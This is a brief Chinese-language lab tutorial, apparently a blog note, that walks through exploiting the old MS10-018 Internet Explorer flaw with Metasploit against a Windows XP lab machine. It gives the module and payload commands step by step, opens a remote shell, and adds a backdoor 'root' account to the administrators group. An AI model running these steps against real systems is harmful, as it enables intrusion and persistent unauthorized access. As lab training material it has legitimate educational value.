漏洞详情：https://technet.microsoft.com/library/security/ms10-018

---

 一准备：

　　1：kali Linux系统　　192.168.195.129

　　2：Windows XP系统　　192.168.195.130

 二：Kali Linux系统操作

1：:msfconsole　　启动metsploits2：search ms10_018　　搜索ms10_0183：use exploit/windows/browser/ms10_018_ie_behaviors　　启动ms10_018模块

1：set PAYLOAD windows/shell/bind_tcp        选定并设置攻击载荷2：show options    查看所需参数

 

1：set SRVHOST 192.168.195.129（Kali的IP）2：set URIPATH ms10_018.html3：show options

1：exploit    尝试攻击

1：sessions2：setg LHOST 192.168.195.1293：sessions -u 1

1：sessions -i 1        与ID为1的控制会话进行交互2：ipconfig		查看windows系统IP3：net user root 123456 /add	添加root用户4：net localgroup Administrator root /add	提升root用户权限至Administrator用户组

---

参考：http://www.computersecuritystudent.com/SECURITY_TOOLS/Metasploit/lesson11/